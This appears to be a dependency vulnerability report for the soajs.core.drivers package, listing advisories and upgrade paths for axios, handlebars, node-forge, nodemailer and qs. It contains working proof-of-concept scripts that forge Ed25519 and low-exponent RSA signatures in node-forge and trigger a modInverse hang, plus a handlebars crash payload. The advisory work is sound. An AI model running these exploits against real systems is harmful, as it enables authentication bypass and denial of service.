| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.30.3, 1.13.5 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
high severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.9.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions through the registerDecorator path in lib/handlebars/compiler/javascript-compiler.js. An attacker can crash the Node.js process by supplying a template with malformed or unregistered decorator syntax, causing the compiled template to call an undefined decorator as a function. This affects applications that compile untrusted templates at request time, especially when the compile/render call is not wrapped in try/catch. A single malicious template such as {{*n}} can trigger an unhandled TypeError and terminate the process.
Workarounds
- Wrap compilation and rendering in
try/catch. - Validate template input before passing it to
compile(), and reject decorator syntax if decorators are not used. - Use pre-compilation at build time and avoid calling
compile()on request-time input.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the pkcs12.pkcs12FromAsn1 function in lib/pkcs12.js and the pki.pbe.generatePkcs12Key key derivation in lib/pbe.js. An attacker can alter a PFX file, substitute certificates or an unencrypted private key, and compute a MAC that verifies under any password, by setting MacData.iterations to zero or less, because the PKCS#12 key derivation then runs its hash loop zero times and returns a constant that does not depend on the password or salt (the MAC key becomes the diversifier byte 0x03 repeated 20 times, and PBE derives constant key and IV bytes 0x01 and 0x02). This affects applications that import PKCS#12/PFX files or PKCS#8 encrypted keys from untrusted sources and rely on the MAC or on successful decryption to establish provenance, while PBES2 (PBKDF2) encrypted content is unaffected.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in the ed25519.verify function. An attacker can bypass authentication and authorization logic by submitting forged non-canonical signatures where the scalar S is not properly validated, allowing acceptance of signatures that should be rejected according to the specification.
PoC
#!/usr/bin/env node
'use strict';
const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
throw new Error('signature must be a 64-byte Buffer');
}
const out = Buffer.from(signature);
let carry = 0;
for (let i = 0; i < 32; i++) {
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
out[idx] = sum & 0xff;
carry = sum >> 8;
}
return { sig: out, carry };
}
function toSpkiPem(publicKeyBytes) {
if (publicKeyBytes.length !== 32) {
throw new Error('publicKeyBytes must be 32 bytes');
}
// Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}
function verifyWithCrypto(publicKey, message, signature) {
try {
const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
const ok = crypto.verify(null, message, keyObject, signature);
return { ok };
} catch (error) {
return { ok: false, error: error.message };
}
}
function toResult(label, original, tweaked) {
return {
[label]: {
original_valid: original.ok,
tweaked_valid: tweaked.ok,
},
};
}
function main() {
const kp = ed.generateKeyPair();
const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
const tweaked = addLToS(sig);
const okTweaked = ed.verify({
message: MESSAGE,
signature: tweaked.sig,
publicKey: kp.publicKey,
});
const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
const result = {
...toResult('forge', { ok }, { ok: okTweaked }),
...toResult('crypto', cryptoOriginal, cryptoTweaked),
};
console.log(JSON.stringify(result, null, 2));
}
main();
Remediation
Upgrade node-forge to version 1.4.0 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in ASN.1 structures during RSA signature verification. An attacker can bypass signature verification and inject forged signatures by crafting ASN.1 data with extra fields or insufficient padding, allowing unauthorized actions or data integrity violations.
Note:
This is only exploitable if the default verification scheme (RSASSA-PKCS1-v1_5) is used with the _parseAllDigestBytes: true setting (which is the default).
PoC
#!/usr/bin/env node
'use strict';
const crypto = require('crypto');
const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
// SEQUENCE { OID sha256, NULL },
// OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
'300d060960864801650304020105000420',
'hex'
);
const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
let h = n.toString(16);
if (h.length % 2) h = '0' + h;
const b = Buffer.from(h, 'hex');
return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
let lo = 0n;
let hi = 1n;
while (hi * hi * hi <= n) hi <<= 1n;
while (lo + 1n < hi) {
const mid = (lo + hi) >> 1n;
if (mid * mid * mid <= n) lo = mid;
else hi = mid;
}
return lo;
}
const cbrtCeil = n => {
const f = cbrtFloor(n);
return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
if (len < 0x80) return Buffer.from([len]);
if (len <= 0xff) return Buffer.from([0x81, len]);
return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}
function forgeStrictVerify(publicPem, msg, sig) {
const key = forge.pki.publicKeyFromPem(publicPem);
const md = forge.md.sha256.create();
md.update(msg.toString('utf8'), 'utf8');
try {
// verify(digestBytes, signatureBytes, scheme, options):
// - digestBytes: raw SHA-256 digest bytes for `msg`
// - signatureBytes: binary-string representation of the candidate signature
// - scheme: undefined => default RSASSA-PKCS1-v1_5
// - options._parseAllDigestBytes: require DER parser to consume all bytes
// (this is forge's default for verify; set explicitly here for clarity)
return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
} catch (err) {
return { ok: false, err: err.message };
}
}
function main() {
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
modulusLength: 4096,
publicExponent: 3,
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
});
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
const nBytes = Buffer.from(jwk.n, 'base64url');
const n = toBig(nBytes);
const e = toBig(Buffer.from(jwk.e, 'base64url'));
if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8');
const digest = crypto.createHash('sha256').update(msg).digest();
const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
const k = nBytes.length;
// ffCount can be set to any value at or below 111 and produce a valid signature.
// ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
// However, current versions of node forge do not check for this.
// Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
const ffCount = 0;
// `garbageLen` affects DER length field sizes, which in turn affect how
// many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
// A small cap (8) is enough here: DER length-size transitions are discrete
// and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
let garbageLen = 0;
for (let i = 0; i < 8; i += 1) {
const gLenEnc = derLen(garbageLen).length;
const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
const seqLenEnc = derLen(seqLen).length;
const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
const next = k - fixed;
if (next === garbageLen) break;
garbageLen = next;
}
const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
const prefix = Buffer.concat([
Buffer.from([0x00, 0x01]),
Buffer.alloc(ffCount, 0xff),
Buffer.from([0x00]),
Buffer.from([0x30]), derLen(seqLen),
algAndDigest,
Buffer.from([0x04]), derLen(garbageLen)
]);
// Build the numeric interval of all EM values that start with `prefix`:
// - `low` = prefix || 00..00
// - `high` = one past (prefix || ff..ff)
// Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
const suffixLen = k - prefix.length;
const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
const high = low + (1n << BigInt(8 * suffixLen));
const s = cbrtCeil(low);
if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8');
const controlSig = crypto.sign('sha256', controlMsg, {
key: privateKey,
padding: crypto.constants.RSA_PKCS1_PADDING
});
// forge verification calls (library under test)
const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior)
const controlNode = crypto.verify('sha256', controlMsg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, controlSig);
const forgedNode = crypto.verify('sha256', msg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
console.log('control-node:', controlNode);
console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
console.log('forgery (node/OpenSSL):', forgedNode);
}
main();
Remediation
Upgrade node-forge to version 1.4.0 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in rsa.js, whose DigestInfo validation checks the outer element count (obj.value.length !== 2) but never verifies the element count of the inner DigestAlgorithm SEQUENCE, so the ASN.1 parser accepts extra children that are ignored during digest extraction. An attacker can forge a signature that verifies as valid for an arbitrary message, without the private key, by fixing the target digest at the block boundaries and filling roughly 314 garbage bytes inside the DigestAlgorithm structure to absorb the mathematical residue. This only affects verification against RSA keys with a low public exponent such as e=3, and although _parseAllDigestBytes defaults to true and rejects trailing garbage, it does not detect this interior padding.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-33894 and, as of this publication, has not been acknowledged by project maintainers.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in the key.verify() method in lib/rsa.js, which X.509 certificate and PKCS#7 verification also use. An attacker can make verification of an RSA PKCS#1 v1.5 signature succeed for an arbitrary message without the private key by adding extra elements to the nested DigestAlgorithm SEQUENCE of the DigestInfo, which the parser does not reject. Only verification with an RSA public key that has a low exponent such as e=3 is practically exploitable.
Workaround
This vulnerability can be avoided by not using RSA keys with a low public exponent (e=3) for signature verification.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-33894.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Infinite loop via the modInverse function. An attacker can cause the application to hang indefinitely and consume excessive CPU resources by supplying a zero value as input, resulting in an infinite loop.
PoC
'use strict';
const { spawnSync } = require('child_process');
const childCode = `
const forge = require('node-forge');
// jsbn may not be auto-loaded; try explicit require if needed
if (!forge.jsbn) {
try { require('node-forge/lib/jsbn'); } catch(e) {}
}
if (!forge.jsbn || !forge.jsbn.BigInteger) {
console.error('ERROR: forge.jsbn.BigInteger not available');
process.exit(2);
}
const BigInteger = forge.jsbn.BigInteger;
const zero = new BigInteger('0', 10);
const mod = new BigInteger('3', 10);
// This call should throw or return 0, but instead loops forever
const inv = zero.modInverse(mod);
console.log('returned: ' + inv.toString());
`;
console.log('[*] Testing: BigInteger(0).modInverse(3)');
console.log('[*] Expected: throw an error or return quickly');
console.log('[*] Spawning child process with 5s timeout...');
console.log();
const result = spawnSync(process.execPath, ['-e', childCode], {
encoding: 'utf8',
timeout: 5000,
});
if (result.error && result.error.code === 'ETIMEDOUT') {
console.log('[VULNERABLE] Child process timed out after 5s');
console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');
process.exit(0);
}
if (result.status === 2) {
console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());
console.log(' -> Check your node-forge installation');
process.exit(1);
}
if (result.status === 0) {
console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());
process.exit(1);
}
console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');
if (result.stderr) console.log(' stderr:', result.stderr.trim());
process.exit(1);
Remediation
Upgrade node-forge to version 1.4.0 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to NULL Pointer Dereference in the _readRecord function in lib/tls.js. An attacker can terminate the peer's Node.js process by sending a handshake message fragmented across records and then interleaving a record of another content type such as an alert, change_cipher_spec, application_data, or heartbeat, because the resulting fatal error sets c.record to null while _readRecord() continues and assigns c.record.ready = true, throwing an uncaught TypeError out of process(). This affects any forge.tls connection in server or client mode, including those from wrapSocket, forge.http, and forge.xhr, and the crash lands when process() is driven from a Node.js socket data handler as in the documented usage.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the pem.decode function in lib/pem.js. A remote attacker can block the Node.js event loop for seconds to minutes with an input of a few tens of kilobytes, because the message regex takes polynomial time on PEM text that contains no matching END line. This requires the application to pass untrusted PEM to a parsing entry point such as pki.certificateFromPem(), pki.privateKeyFromPem(), or pkcs7.messageFromPem(), as in a service that accepts uploaded certificates, keys, CSRs, or SAML metadata.
Workaround
This vulnerability can be avoided by rejecting untrusted PEM input above a few kilobytes before passing it to the parser, which shortens but does not eliminate the delay (on 1.4.0, roughly 7 KB blocks for 0.4 s and 29 KB for 24 s).
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Uncontrolled Recursion via the fromDer function in asn1.js, which lacks recursion depth. An attacker can cause stack exhaustion and disrupt service availability by submitting specially crafted, deeply nested DER-encoded ASN.1 data.
Remediation
Upgrade node-forge to version 1.3.2 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the TLS record processing in lib/tls.js, where connection.process() and the per-record-type handlers it dispatches through ctTable (tls.handleHeartbeat, tls.handleApplicationData, tls.handleHandshake, tls.handleHelloRequest) re-enter process() for each record. An attacker can exhaust the call stack and terminate the peer's Node.js process by sending many small TLS records in a single chunk, roughly 2,300 eight-byte records in under 20 KB on Node.js 24, since each record adds a stack frame rather than being handled in a loop. This affects any forge.tls connection in server or client mode, including those from wrapSocket, forge.http, and forge.xhr, needs no handshake because heartbeat records are processed first, and in a browser is confined to the attacked connection while a Node.js process crash drops every connection it serves.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the asn1.fromDer function in lib/asn1.js. An attacker can drive CPU and memory high enough to abort the Node.js process with a small DER or PEM structure containing nested BIT STRINGs, because the default BIT STRING decode path in _fromDer() starts with an options object that omits maxDepth, so the depth check compares against undefined and never fires, and each nested BIT STRING's contents are deep-copied by asn1.create(), making memory grow quadratically with nesting depth. This triggers under default options through any API that parses DER or PEM, including pki.certificateFromPem(), pki.publicKeyFromPem(), the PKCS#7, PKCS#8, and PKCS#12 loaders, and server certificates received by the forge TLS client.
Workaround
This vulnerability can be avoided by direct callers of forge.asn1.fromDer() passing {decodeBitStrings: false}, which stops the nested decode but changes the parsed structure, so it does not help the higher-level PKI, PKCS, and TLS APIs that do not expose the option.
Note: This is a bypass of the fix for the vulnerability described in CVE-2025-66031.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.21.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity through the addressparser function in lib/addressparser/index.js. An attacker can block the Node.js event loop by supplying a crafted comma-separated address list, such as a To, Cc, Bcc, From, or Reply-To header value, that forces the parser to spend CPU time proportional to the square of the input size. This stalls email processing and delays or freezes every other request handled by the same process.
Remediation
Upgrade nodemailer to version 9.1.0 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.21.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the address parser in src/addressparser/index.ts, where the regex /\s*\b[^@\s]+@[^\s]+\b\s*/ was used to search free text for an email address. The [^@\s]+ quantifier causes quadratic backtracking: from every offset it rescans the run up to the next @ and then fails, advancing one character and repeating. An attacker who can supply a long whitespace-free string containing no usable @ character can block the Node.js event loop for tens of seconds, with 273 KB of input producing approximately 43 seconds of blocking.
Remediation
Upgrade nodemailer to version 10.0.6 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: request@2.88.0, ms-rest-azure@2.6.2 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › request@2.88.0 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › request@2.88.2 › qs@6.5.5
-
